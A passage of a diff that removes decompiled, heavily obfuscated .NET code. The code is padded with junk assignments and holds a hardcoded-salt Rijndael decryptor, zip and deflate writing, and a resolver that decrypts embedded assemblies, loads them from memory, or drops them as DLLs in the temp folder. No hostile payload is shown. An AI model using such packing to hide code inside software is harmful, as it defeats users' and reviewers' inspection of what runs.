((IntPtr) voidPtr + 48) = 186099; - *(int*) ((IntPtr) voidPtr + 96) = *(int*) ((IntPtr) voidPtr + 48); - \u0002.\u0005.\u0001(588); - if (true) - { - do - { - \u0002.\u0005.\u0001(597); - *(int*) ((IntPtr) voidPtr + 40) = 51459; - *(int*) ((IntPtr) voidPtr + 40) = 41479; - *(int*) ((IntPtr) voidPtr + 136) = *(int*) ((IntPtr) voidPtr + 40); - *(int*) ((IntPtr) voidPtr + 108) = 78423; - *(int*) ((IntPtr) voidPtr + 108) = 90275; - *(int*) ((IntPtr) voidPtr + 16) = *(int*) ((IntPtr) voidPtr + 108); - \u0002.\u0005.\u0001(610); - *(int*) ((IntPtr) voidPtr + 44) = 17824; - *(int*) ((IntPtr) voidPtr + 44) = 66708; - } - while (false); - *(int*) ((IntPtr) voidPtr + 68) = *(int*) ((IntPtr) voidPtr + 44); - *(int*) ((IntPtr) voidPtr + 120) = 84234; - *(int*) ((IntPtr) voidPtr + 120) = 87139; - *(int*) ((IntPtr) voidPtr + 60) = *(int*) ((IntPtr) voidPtr + 120); - \u0002.\u0005.\u0001(627); - *(int*) ((IntPtr) voidPtr + 12) = 79264; - *(int*) ((IntPtr) voidPtr + 12) = 83807; - } - else - goto label_16; -label_8: - *(int*) ((IntPtr) voidPtr + 100) = *(int*) ((IntPtr) voidPtr + 12); - int num3 = 636; - int num4; - if (num3 != 0) - { - \u0002.\u0005.\u0001(num3); - int num5 = 645; - if (num5 == 0) - { - num1 = num5; - continue; - } - \u0002.\u0005.\u0001(num5); - \u0002.\u0005.\u0001(650); - do - ; - while (false); - *(int*) ((IntPtr) voidPtr + 88) = 2080; - *(int*) ((IntPtr) voidPtr + 88) = 53383; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 88); - *(int*) ((IntPtr) voidPtr + 76) = 74926; - *(int*) ((IntPtr) voidPtr + 76) = 0; - goto label_17; - } - else - { - num4 = num3; - goto label_18; - } -label_16: - *(int*) ((IntPtr) voidPtr + 144) = -11723; - *(int*) ((IntPtr) voidPtr + 164) = *(int*) ((IntPtr) voidPtr + 144); - *(int*) ((IntPtr) voidPtr + 160) = 541067; - *(int*) ((IntPtr) voidPtr + 160) = 62816; - *(int*) ((IntPtr) voidPtr + 160) = 118552; - *(int*) ((IntPtr) voidPtr + 148) = *(int*) ((IntPtr) voidPtr + 160); - *(int*) ((IntPtr) voidPtr + 76) = checked (*(int*) unchecked ((IntPtr) voidPtr + 76) + 1); -label_17: - num4 = *(int*) ((IntPtr) voidPtr + 76); -label_18: - if (num4 > 79825) - { - *(int*) ((IntPtr) voidPtr + 156) = 818872; - *(int*) ((IntPtr) voidPtr + 156) = 167807; - *(int*) ((IntPtr) voidPtr + 152) = *(int*) ((IntPtr) voidPtr + 156); - *(int*) ((IntPtr) voidPtr + 140) = 419615; - *(int*) ((IntPtr) voidPtr + 140) = 125033; - *(int*) ((IntPtr) voidPtr + 168) = *(int*) ((IntPtr) voidPtr + 140); - if (true) - { - if (true) - { - *(int*) ((IntPtr) voidPtr + 144) = 19076; - goto label_16; - } - else - goto label_4; - } - else - goto label_8; - } - else - break; - } - return \u0002.\u0005.\u0001(659); - } - - static unsafe int \u0001([In] \u0006.\u0006.\u0007.\u0001 obj0) - { - int num1 = 8; - if (num1 == 0) - return num1; - // ISSUE: untyped stack allocation - IntPtr num2 = __untypedstackalloc(num1); - void* voidPtr; - if (true) - voidPtr = (void*) num2; - do - { - *(int*) voidPtr = 0; - *(int*) ((IntPtr) voidPtr + 4) = 0; - while (*(int*) ((IntPtr) voidPtr + 4) < obj0.\u0001.Length) - { - *(int*) voidPtr = *(int*) voidPtr + (int) obj0.\u0001[*(int*) ((IntPtr) voidPtr + 4)] * (int) obj0.\u0001[*(int*) ((IntPtr) voidPtr + 4)]; - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1; - } - } - while (false); - return *(int*) voidPtr; - } - - static void \u0001([In] \u0006.\u0006.\u0003 obj0) => obj0.\u0004 = obj0.\u0003 = 0; - - static int \u0001(\u0006.\u0006.\u0002 _param0, [In] int obj1) - { - while (_param0.\u0003 < obj1) - { - if (_param0.\u0001 == _param0.\u0002) - { - if (true) - { - if (true) - return -1; - } - else - break; - } - else if (true) - { - \u0006.\u0006.\u0002 obj2 = _param0; - int num1 = (int) obj2.\u0001; - byte[] numArray1 = _param0.\u0001; - \u0006.\u0006.\u0002 obj3 = _param0; - int num2; - int num3 = num2 = obj3.\u0001; - obj3.\u0001 = num2 + 1; - int index1 = num3; - int num4 = (int) numArray1[index1] & (int) byte.MaxValue; - byte[] numArray2 = _param0.\u0001; - \u0006.\u0006.\u0002 obj4 = _param0; - int num5; - int num6 = num5 = obj4.\u0001; - obj4.\u0001 = num5 + 1; - int index2 = num6; - int num7 = ((int) numArray2[index2] & (int) byte.MaxValue) << 8; - int num8 = (num4 | num7) << _param0.\u0003; - obj2.\u0001 = (uint) (num1 | num8); - } - else - continue; - _param0.\u0003 += 16; - break; - } - long num9 = (long) _param0.\u0001; - int num10 = 1; - int num11 = obj1; - int num12; - do - { - if (true) - { - int num13 = num11 & 31; - num12 = num10 << num13; - if (true) - { - num11 = 1; - num10 = num12; - } - else - goto label_15; - } - } - while (num11 == 0); - int num14 = num10 - num11; - goto label_13; -label_15: - num14 = num12; -label_13: - long num15 = (long) num14; - return (int) (num9 & num15); - } - - static void \u0001(\u0006.\u0006.\u0003 _param0, [In] int obj1) - { -label_0: - do - { - \u0006.\u0006.\u0003 obj2 = _param0; - int num1; - int num2 = num1 = obj2.\u0004; - obj2.\u0004 = num1 + 1; - do - { - if (true) - { - if (num2 != 32768) - goto label_3; -label_2: - goto label_0; -label_3: - if (true) - { - byte[] numArray = _param0.\u0001; - \u0006.\u0006.\u0003 obj3 = _param0; - int num3; - num2 = num3 = obj3.\u0003; - obj3.\u0003 = num3 + 1; - int index = num2; - int num4 = (int) (byte) obj1; - numArray[index] = (byte) num4; - if (false) - goto label_2; - } - else - goto label_0; - } - else - goto label_0; - } - while (false); - goto label_5; - } - while (false); - goto label_7; -label_5: - _param0.\u0003 &= (int) short.MaxValue; - return; -label_7: - throw new InvalidOperationException(); - } - - static void \u0001(int _param0, byte[] _param1, \u0006.\u0006.\u000E _param2, [In] int obj3) - { -label_0: - Array.Copy((Array) _param1, obj3, (Array) _param2.\u0001, _param2.\u0002, _param0); - do - { - if (true) - _param2.\u0002 += _param0; - else - goto label_0; - } - while (false); - } - - static bool \u0001([In] \u0006.\u0006.\u0007 obj0) => obj0.\u000E >= 16384; - - static string \u0001(string _param0) - { - ResourceManager resourceManager; - if (true) - { - \u0002.\u0005.\u0001(672); - if (true) - goto label_7; -label_2: - resourceManager = new ResourceManager(\u0002.\u0005.\u0001(685), Assembly.GetExecutingAssembly()); - goto label_3; -label_7: - goto label_2; - } - else - goto label_4; -label_3: - string str; - if (true) - str = (string) resourceManager.GetObject(_param0); - else - goto label_6; -label_4: - if (true) - resourceManager.ReleaseAllResources(); - else - goto label_3; -label_6: - return str; - } - - static byte[] \u0001(string _param0, byte[] _param1) - { - Rijndael rijndael = Rijndael.Create(); - Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(_param0, new byte[16] - { - (byte) 38, - (byte) 220, - byte.MaxValue, - (byte) 0, - (byte) 173, - (byte) 237, - (byte) 122, - (byte) 238, - (byte) 197, - (byte) 254, - (byte) 7, - (byte) 175, - (byte) 77, - (byte) 8, - (byte) 34, - (byte) 60 - }); - rijndael.Key = rfc2898DeriveBytes.GetBytes(32); - MemoryStream memoryStream; - if (true) - { - rijndael.IV = rfc2898DeriveBytes.GetBytes(16); - memoryStream = new MemoryStream(); - } - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(_param1, 0, _param1.Length); - cryptoStream.Close(); - return memoryStream.ToArray(); - } - - static unsafe byte[] \u0001(byte[] _param0, int _param1, byte[] _param2, byte[] _param3) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(64); - try - { - \u0006.\u0006.\u000F obj1 = new \u0006.\u0006.\u000F(); - switch (_param1) - { - case 0: - \u0006.\u0006.\u0006 obj2 = new \u0006.\u0006.\u0006(); - DateTime now = DateTime.Now; - *(long*) voidPtr = (long) ((uint) ((now.Year - 1980 & (int) sbyte.MaxValue) << 25 | now.Month << 21 | now.Day << 16 | now.Hour << 11 | now.Minute << 5) | (uint) now.Second >> 1); - uint[] numArray = new uint[256] - { - 0U, - 1996959894U, - 3993919788U, - 2567524794U, - 124634137U, - 1886057615U, - 3915621685U, - 2657392035U, - 249268274U, - 2044508324U, - 3772115230U, - 2547177864U, - 162941995U, - 2125561021U, - 3887607047U, - 2428444049U, - 498536548U, - 1789927666U, - 4089016648U, - 2227061214U, - 450548861U, - 1843258603U, - 4107580753U, - 2211677639U, - 325883990U, - 1684777152U, - 4251122042U, - 2321926636U, - 335633487U, - 1661365465U, - 4195302755U, - 2366115317U, - 997073096U, - 1281953886U, - 3579855332U, - 2724688242U, - 1006888145U, - 1258607687U, - 3524101629U, - 2768942443U, - 901097722U, - 1119000684U, - 3686517206U, - 2898065728U, - 853044451U, - 1172266101U, - 3705015759U, - 2882616665U, - 651767980U, - 1373503546U, - 3369554304U, - 3218104598U, - 565507253U, - 1454621731U, - 3485111705U, - 3099436303U, - 671266974U, - 1594198024U, - 3322730930U, - 2970347812U, - 795835527U, - 1483230225U, - 3244367275U, - 3060149565U, - 1994146192U, - 31158534U, - 2563907772U, - 4023717930U, - 1907459465U, - 112637215U, - 2680153253U, - 3904427059U, - 2013776290U, - 251722036U, - 2517215374U, - 3775830040U, - 2137656763U, - 141376813U, - 2439277719U, - 3865271297U, - 1802195444U, - 476864866U, - 2238001368U, - 4066508878U, - 1812370925U, - 453092731U, - 2181625025U, - 4111451223U, - 1706088902U, - 314042704U, - 2344532202U, - 4240017532U, - 1658658271U, - 366619977U, - 2362670323U, - 4224994405U, - 1303535960U, - 984961486U, - 2747007092U, - 3569037538U, - 1256170817U, - 1037604311U, - 2765210733U, - 3554079995U, - 1131014506U, - 879679996U, - 2909243462U, - 3663771856U, - 1141124467U, - 855842277U, - 2852801631U, - 3708648649U, - 1342533948U, - 654459306U, - 3188396048U, - 3373015174U, - 1466479909U, - 544179635U, - 3110523913U, - 3462522015U, - 1591671054U, - 702138776U, - 2966460450U, - 3352799412U, - 1504918807U, - 783551873U, - 3082640443U, - 3233442989U, - 3988292384U, - 2596254646U, - 62317068U, - 1957810842U, - 3939845945U, - 2647816111U, - 81470997U, - 1943803523U, - 3814918930U, - 2489596804U, - 225274430U, - 2053790376U, - 3826175755U, - 2466906013U, - 167816743U, - 2097651377U, - 4027552580U, - 2265490386U, - 503444072U, - 1762050814U, - 4150417245U, - 2154129355U, - 426522225U, - 1852507879U, - 4275313526U, - 2312317920U, - 282753626U, - 1742555852U, - 4189708143U, - 2394877945U, - 397917763U, - 1622183637U, - 3604390888U, - 2714866558U, - 953729732U, - 1340076626U, - 3518719985U, - 2797360999U, - 1068828381U, - 1219638859U, - 3624741850U, - 2936675148U, - 906185462U, - 1090812512U, - 3747672003U, - 2825379669U, - 829329135U, - 1181335161U, - 3412177804U, - 3160834842U, - 628085408U, - 1382605366U, - 3423369109U, - 3138078467U, - 570562233U, - 1426400815U, - 3317316542U, - 2998733608U, - 733239954U, - 1555261956U, - 3268935591U, - 3050360625U, - 752459403U, - 1541320221U, - 2607071920U, - 3965973030U, - 1969922972U, - 40735498U, - 2617837225U, - 3943577151U, - 1913087877U, - 83908371U, - 2512341634U, - 3803740692U, - 2075208622U, - 213261112U, - 2463272603U, - 3855990285U, - 2094854071U, - 198958881U, - 2262029012U, - 4057260610U, - 1759359992U, - 534414190U, - 2176718541U, - 4139329115U, - 1873836001U, - 414664567U, - 2282248934U, - 4279200368U, - 1711684554U, - 285281116U, - 2405801727U, - 4167216745U, - 1634467795U, - 376229701U, - 2685067896U, - 3608007406U, - 1308918612U, - 956543938U, - 2808555105U, - 3495958263U, - 1231636301U, - 1047427035U, - 2932959818U, - 3654703836U, - 1088359270U, - 936918000U, - 2847714899U, - 3736837829U, - 1202900863U, - 817233897U, - 3183342108U, - 3401237130U, - 1404277552U, - 615818150U, - 3134207493U, - 3453421203U, - 1423857449U, - 601450431U, - 3009837614U, - 3294710456U, - 1567103746U, - 711928724U, - 3020668471U, - 3272380065U, - 1510334235U, - 755167117U - }; - *(int*) ((IntPtr) voidPtr + 40) = -1; - uint num1 = *(uint*) ((IntPtr) voidPtr + 40); - int num2 = 0; - int length = _param3.Length; - while (--length >= 0) - num1 = numArray[(IntPtr) (uint) (((int) num1 ^ (int) _param3[num2++]) & (int) byte.MaxValue)] ^ num1 >> 8; - uint num3 = num1 ^ *(uint*) ((IntPtr) voidPtr + 40); - \u0005.\u0001.\u0001(obj1, 67324752); - \u0005.\u0001.\u0001(20, obj1); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(8, obj1); - \u0005.\u0001.\u0001(obj1, (int) *(long*) voidPtr); - \u0005.\u0001.\u0001(obj1, (int) num3); - *(long*) ((IntPtr) voidPtr + 8) = obj1.Position; - \u0005.\u0001.\u0001(obj1, 0); - \u0005.\u0001.\u0001(obj1, _param3.Length); - byte[] bytes = Encoding.UTF8.GetBytes("{data}"); - \u0005.\u0001.\u0001(bytes.Length, obj1); - \u0005.\u0001.\u0001(0, obj1); - obj1.Write(bytes, 0, bytes.Length); - \u0005.\u0001.\u0001(_param3, obj2); - while (!obj2.IsNeedingInput) - { - byte[] buffer = new byte[512]; - *(int*) ((IntPtr) voidPtr + 44) = \u0005.\u0001.\u0001(buffer, obj2); - if (*(int*) ((IntPtr) voidPtr + 44) > 0) - obj1.Write(buffer, 0, *(int*) ((IntPtr) voidPtr + 44)); - else - break; - } - obj2.\u0007 |= 12; - while (!obj2.IsFinished) - { - byte[] buffer = new byte[512]; - *(int*) ((IntPtr) voidPtr + 48) = \u0005.\u0001.\u0001(buffer, obj2); - if (*(int*) ((IntPtr) voidPtr + 48) > 0) - obj1.Write(buffer, 0, *(int*) ((IntPtr) voidPtr + 48)); - else - break; - } - *(long*) ((IntPtr) voidPtr + 16) = obj2.\u0001; - \u0005.\u0001.\u0001(obj1, 33639248); - \u0005.\u0001.\u0001(20, obj1); - \u0005.\u0001.\u0001(20, obj1); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(8, obj1); - \u0005.\u0001.\u0001(obj1, (int) *(long*) voidPtr); - \u0005.\u0001.\u0001(obj1, (int) num3); - \u0005.\u0001.\u0001(obj1, (int) *(long*) ((IntPtr) voidPtr + 16)); - \u0005.\u0001.\u0001(obj1, _param3.Length); - \u0005.\u0001.\u0001(bytes.Length, obj1); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(obj1, 0); - \u0005.\u0001.\u0001(obj1, 0); - obj1.Write(bytes, 0, bytes.Length); - \u0005.\u0001.\u0001(obj1, 101010256); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(0, obj1); - \u0005.\u0001.\u0001(1, obj1); - \u0005.\u0001.\u0001(1, obj1); - \u0005.\u0001.\u0001(obj1, 46 + bytes.Length); - \u0005.\u0001.\u0001(obj1, (int) ((long) (30 + bytes.Length) + *(long*) ((IntPtr) voidPtr + 16))); - \u0005.\u0001.\u0001(0, obj1); - obj1.Seek(*(long*) ((IntPtr) voidPtr + 8), SeekOrigin.Begin); - \u0005.\u0001.\u0001(obj1, (int) *(long*) ((IntPtr) voidPtr + 16)); - break; - case 1: - \u0005.\u0001.\u0001(obj1, 25000571); - \u0005.\u0001.\u0001(obj1, _param3.Length); - *(int*) ((IntPtr) voidPtr + 52) = 0; - while (*(int*) ((IntPtr) voidPtr + 52) < _param3.Length) - { - byte[] dst = new byte[Math.Min(2097151, _param3.Length - *(int*) ((IntPtr) voidPtr + 52))]; - Buffer.BlockCopy((Array) _param3, *(int*) ((IntPtr) voidPtr + 52), (Array) dst, 0, dst.Length); - *(long*) ((IntPtr) voidPtr + 24) = obj1.Position; - \u0005.\u0001.\u0001(obj1, 0); - \u0005.\u0001.\u0001(obj1, dst.Length); - \u0006.\u0006.\u0006 obj3 = new \u0006.\u0006.\u0006(); - \u0005.\u0001.\u0001(dst, obj3); - while (!obj3.IsNeedingInput) - { - byte[] buffer = new byte[512]; - *(int*) ((IntPtr) voidPtr + 56) = \u0005.\u0001.\u0001(buffer, obj3); - if (*(int*) ((IntPtr) voidPtr + 56) > 0) - obj1.Write(buffer, 0, *(int*) ((IntPtr) voidPtr + 56)); - else - break; - } - obj3.\u0007 |= 12; - while (!obj3.IsFinished) - { - byte[] buffer = new byte[512]; - *(int*) ((IntPtr) voidPtr + 60) = \u0005.\u0001.\u0001(buffer, obj3); - if (*(int*) ((IntPtr) voidPtr + 60) > 0) - obj1.Write(buffer, 0, *(int*) ((IntPtr) voidPtr + 60)); - else - break; - } - *(long*) ((IntPtr) voidPtr + 32) = obj1.Position; - obj1.Position = *(long*) ((IntPtr) voidPtr + 24); - \u0005.\u0001.\u0001(obj1, (int) obj3.\u0001); - obj1.Position = *(long*) ((IntPtr) voidPtr + 32); - *(int*) ((IntPtr) voidPtr + 52) = *(int*) ((IntPtr) voidPtr + 52) + dst.Length; - } - break; - case 2: - \u0005.\u0001.\u0001(obj1, 41777787); - byte[] inputBuffer1 = \u0005.\u0001.\u0001((byte[]) null, 1, (byte[]) null, _param3); - using (\u0006.\u0004 obj4 = new \u0006.\u0004()) - { - using (ICryptoTransform cryptoTransform = \u0005.\u0001.\u0001(false, _param0, _param2, obj4)) - { - byte[] buffer = cryptoTransform.TransformFinalBlock(inputBuffer1, 0, inputBuffer1.Length); - obj1.Write(buffer, 0, buffer.Length); - break; - } - } - case 3: - \u0005.\u0001.\u0001(obj1, 58555003); - byte[] inputBuffer2 = \u0005.\u0001.\u0001((byte[]) null, 1, (byte[]) null, _param3); - using (\u0001.\u0002 obj5 = new \u0001.\u0002()) - { - using (ICryptoTransform cryptoTransform = \u0005.\u0001.\u0001(_param0, obj5, _param2, false)) - { - byte[] buffer = cryptoTransform.TransformFinalBlock(inputBuffer2, 0, inputBuffer2.Length); - obj1.Write(buffer, 0, buffer.Length); - break; - } - } - } - obj1.Flush(); - obj1.Close(); - return obj1.ToArray(); - } - catch (Exception ex) - { - \u0006.\u0006.\u0001 = "ERR 2003: " + ex.Message; - throw; - } - } - - static int \u0001([In] \u0006.\u0006.\u0003 obj0) => 32768 - obj0.\u0004; - - static void \u0001() - { - try - { - \u0005.\u0001.\u0001(); - } - catch (Exception ex) - { - } - } - - static void \u0001([In] \u0006.\u0006.\u000E obj0) - { - if (obj0.\u0003 > 0) - goto label_2; -label_1: - obj0.\u0001 = 0U; - obj0.\u0003 = 0; - return; -label_2: - byte[] numArray1 = obj0.\u0001; - \u0006.\u0006.\u000E obj1 = obj0; - int num1; - int num2 = num1 = obj1.\u0002; - obj1.\u0002 = num1 + 1; - int index1 = num2; - int num3 = (int) (byte) obj0.\u0001; - numArray1[index1] = (byte) num3; - if (obj0.\u0003 > 8) - { - byte[] numArray2 = obj0.\u0001; - \u0006.\u0006.\u000E obj2 = obj0; - int num4; - int num5 = num4 = obj2.\u0002; - obj2.\u0002 = num4 + 1; - int index2 = num5; - int num6 = (int) (byte) (obj0.\u0001 >> 8); - numArray2[index2] = (byte) num6; - goto label_1; - } - else - goto label_1; - } - - static unsafe Assembly \u0001(object _param0, ResolveEventArgs _param1) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(18); - \u0004.\u0001.\u0001 obj = new \u0004.\u0001.\u0001(_param1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001(false))); - string[] strArray = "ezFlZGYyOGQwLWVjN2EtNDRiZS05YWQwLWY0Y2NkMTI0MTg4M30sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{8519fd65-b578-46d3-8e71-59d331e774fc},ezFlZGYyOGQwLWVjN2EtNDRiZS05YWQwLWY0Y2NkMTI0MTg4M30=,[z]{8519fd65-b578-46d3-8e71-59d331e774fc}".Split(','); - string str1 = string.Empty; - *(sbyte*) ((IntPtr) voidPtr + 16) = (sbyte) 0; - *(sbyte*) ((IntPtr) voidPtr + 17) = (sbyte) 0; - *(int*) voidPtr = 0; - while (*(int*) voidPtr < strArray.Length - 1) - { - if (strArray[*(int*) voidPtr] == base64String1) - { - str1 = strArray[*(int*) voidPtr + 1]; - break; - } - *(int*) voidPtr = *(int*) voidPtr + 2; - } - if (str1.Length == 0 && obj.\u0003.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - *(int*) ((IntPtr) voidPtr + 4) = 0; - while (*(int*) ((IntPtr) voidPtr + 4) < strArray.Length - 1) - { - if (strArray[*(int*) ((IntPtr) voidPtr + 4)] == base64String2) - { - str1 = strArray[*(int*) ((IntPtr) voidPtr + 4) + 1]; - break; - } - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 2; - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - *(int*) ((IntPtr) voidPtr + 8) = str1.IndexOf(']'); - string str2 = str1.Substring(1, *(int*) ((IntPtr) voidPtr + 8) - 1); - *(sbyte*) ((IntPtr) voidPtr + 16) = (sbyte) (str2.IndexOf('z') >= 0); - *(sbyte*) ((IntPtr) voidPtr + 17) = (sbyte) (str2.IndexOf('t') >= 0); - str1 = str1.Substring(*(int*) ((IntPtr) voidPtr + 8) + 1); - } - lock (\u0004.\u0001.\u0001) - { - if (\u0004.\u0001.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0004.\u0001.\u0001[(object) str1]; - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - *(int*) ((IntPtr) voidPtr + 12) = (int) manifestResourceStream.Length; - byte[] numArray = new byte[*(int*) ((IntPtr) voidPtr + 12)]; - manifestResourceStream.Read(numArray, 0, *(int*) ((IntPtr) voidPtr + 12)); - if (*(sbyte*) ((IntPtr) voidPtr + 16) != (sbyte) 0) - numArray = \u0005.\u0001.\u0001(numArray); - Assembly assembly = (Assembly) null; - if (*(sbyte*) ((IntPtr) voidPtr + 17) == (sbyte) 0) - { - try - { - assembly = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - *(sbyte*) ((IntPtr) voidPtr + 17) = (sbyte) 1; - } - catch (BadImageFormatException ex) - { - *(sbyte*) ((IntPtr) voidPtr + 17) = (sbyte) 1; - } - } - if (*(sbyte*) ((IntPtr) voidPtr + 17) != (sbyte) 0) - { - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0005.\u0001.\u0001(path2, (string) null, 4); - \u0005.\u0001.\u0001(path1, (string) null, 4); - } - assembly = Assembly.LoadFile(path2); - } - catch - { - } - } - \u0004.\u0001.\u0001[(object) str1] = (object) assembly; - return assembly; - } - } - } - return (Assembly) null; - } - - static int \u0001([In] \u0006.\u0006.\u0003 obj0) => obj0.\u0004; - - static unsafe int \u0001(\u0006.\u0006.\u0004 _param0, [In] \u0006.\u0006.\u0002 obj1) - { - int num1; - void* voidPtr; - if (true) - { - int num2 = 16; - int index; - int num3; - while (true) - { - // ISSUE: untyped stack allocation - voidPtr = (void*) __untypedstackalloc(num2); - if ((index = \u0005.\u0001.\u0001(obj1, 9)) >= 0) - { - if ((num1 = (int) _param0.\u0001[index]) >= 0) - { - if (true) - { - \u0005.\u0001.\u0001(obj1, num1 & 15); - num3 = num1; - if (false) - num2 = num3; - else - break; - } - else - goto label_8; - } - else - goto label_5; - } - else - goto label_13; - } - return num3 >> 4; -label_5: - *(int*) voidPtr = -(num1 >> 4); - *(int*) ((IntPtr) voidPtr + 4) = num1 & 15; - int num4; - if ((num4 = \u0005.\u0001.\u0001(obj1, *(int*) ((IntPtr) voidPtr + 4))) >= 0) - { - int num5 = (int) _param0.\u0001[*(int*) voidPtr | num4 >> 9]; - \u0005.\u0001.\u0001(obj1, num5 & 15); - return num5 >> 4; - } - *(int*) ((IntPtr) voidPtr + 8) = obj1.\u0003; - index = \u0005.\u0001.\u0001(obj1, *(int*) ((IntPtr) voidPtr + 8)); - num1 = (int) _param0.\u0001[*(int*) voidPtr | index >> 9]; -label_8: - if (true) - { - if ((num1 & 15) > *(int*) ((IntPtr) voidPtr + 8)) - return -1; - \u0005.\u0001.\u0001(obj1, num1 & 15); - if (true) - return num1 >> 4; - goto label_14; - } - else - goto label_16; -label_13: - *(int*) ((IntPtr) voidPtr + 12) = obj1.\u0003; - index = \u0005.\u0001.\u0001(obj1, *(int*) ((IntPtr) voidPtr + 12)); -label_14: - num1 = (int) _param0.\u0001[index]; - } - if (num1 < 0) - goto label_18; -label_16: - if ((num1 & 15) <= *(int*) ((IntPtr) voidPtr + 12)) - { - \u0005.\u0001.\u0001(obj1, num1 & 15); - return num1 >> 4; - } -label_18: - return -1; - } - - static unsafe int \u0001(\u0006.\u0006.\u0003 _param0, \u0006.\u0006.\u0002 _param1, [In] int obj2) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(8); - int val1 = obj2; - int val2 = 32768; - if (val2 != 0) - val2 -= _param0.\u0004; - obj2 = Math.Min(Math.Min(val1, val2), _param1.AvailableBytes); - *(int*) ((IntPtr) voidPtr + 4) = 32768 - _param0.\u0003; - if (obj2 > *(int*) ((IntPtr) voidPtr + 4)) - { - *(int*) voidPtr = \u0005.\u0001.\u0001(_param1, _param0.\u0001, _param0.\u0003, *(int*) ((IntPtr) voidPtr + 4)); - if (*(int*) voidPtr == *(int*) ((IntPtr) voidPtr + 4)) - *(int*) voidPtr = *(int*) voidPtr + \u0005.\u0001.\u0001(_param1, _param0.\u0001, 0, obj2 - *(int*) ((IntPtr) voidPtr + 4)); - } - else - *(int*) voidPtr = \u0005.\u0001.\u0001(_param1, _param0.\u0001, _param0.\u0003, obj2); - _param0.\u0003 = _param0.\u0003 + *(int*) voidPtr & (int) short.MaxValue; - _param0.\u0004 += *(int*) voidPtr; - return *(int*) voidPtr; - } - - static unsafe string \u0001(string _param0, string _param1) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(228); - *(int*) ((IntPtr) voidPtr + 76) = 65276; - *(int*) ((IntPtr) voidPtr + 76) = 41987; - *(int*) ((IntPtr) voidPtr + 96) = *(int*) ((IntPtr) voidPtr + 76); - *(int*) ((IntPtr) voidPtr + 80) = 85742; - *(int*) ((IntPtr) voidPtr + 80) = 81758; - *(int*) ((IntPtr) voidPtr + 32) = *(int*) ((IntPtr) voidPtr + 80); - *(int*) ((IntPtr) voidPtr + 100) = 86728; - *(int*) ((IntPtr) voidPtr + 100) = 65059; - *(int*) ((IntPtr) voidPtr + 48) = *(int*) ((IntPtr) voidPtr + 100); - *(int*) ((IntPtr) voidPtr + 120) = 74962; - *(int*) ((IntPtr) voidPtr + 120) = 106830; - *(int*) ((IntPtr) voidPtr + 56) = *(int*) ((IntPtr) voidPtr + 120); - \u0002.\u0005.\u0001(706); - \u0002.\u0005.\u0001(715); - *(int*) ((IntPtr) voidPtr + 72) = 19003; - *(int*) ((IntPtr) voidPtr + 72) = 170615; - *(int*) ((IntPtr) voidPtr + 108) = *(int*) ((IntPtr) voidPtr + 72); - *(int*) voidPtr = 49776; - *(int*) voidPtr = 83898; - *(int*) ((IntPtr) voidPtr + 112) = *(int*) voidPtr; - \u0002.\u0005.\u0001(724); - *(int*) ((IntPtr) voidPtr + 128) = 81814; - *(int*) ((IntPtr) voidPtr + 128) = 48554; - *(int*) ((IntPtr) voidPtr + 28) = *(int*) ((IntPtr) voidPtr + 128); - *(int*) ((IntPtr) voidPtr + 136) = 19646; - *(int*) ((IntPtr) voidPtr + 136) = 77043; - *(int*) ((IntPtr) voidPtr + 60) = *(int*) ((IntPtr) voidPtr + 136); - *(int*) ((IntPtr) voidPtr + 4) = 3994; - *(int*) ((IntPtr) voidPtr + 4) = 42907; - *(int*) ((IntPtr) voidPtr + 144) = *(int*) ((IntPtr) voidPtr + 4); - \u0002.\u0005.\u0001(737); - *(int*) ((IntPtr) voidPtr + 44) = 58982; - *(int*) ((IntPtr) voidPtr + 44) = 91614; - *(int*) ((IntPtr) voidPtr + 52) = *(int*) ((IntPtr) voidPtr + 44); - *(int*) ((IntPtr) voidPtr + 68) = 66715; - *(int*) ((IntPtr) voidPtr + 68) = 134245; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 68); - \u0002.\u0005.\u0001(754); - \u0002.\u0005.\u0001(763); - *(int*) ((IntPtr) voidPtr + 124) = 20169; - *(int*) ((IntPtr) voidPtr + 124) = 64227; - *(int*) ((IntPtr) voidPtr + 92) = *(int*) ((IntPtr) voidPtr + 124); - *(int*) ((IntPtr) voidPtr + 132) = 97197; - *(int*) ((IntPtr) voidPtr + 132) = 99155; - *(int*) ((IntPtr) voidPtr + 40) = *(int*) ((IntPtr) voidPtr + 132); - \u0002.\u0005.\u0001(772); - *(int*) ((IntPtr) voidPtr + 24) = 3902; - 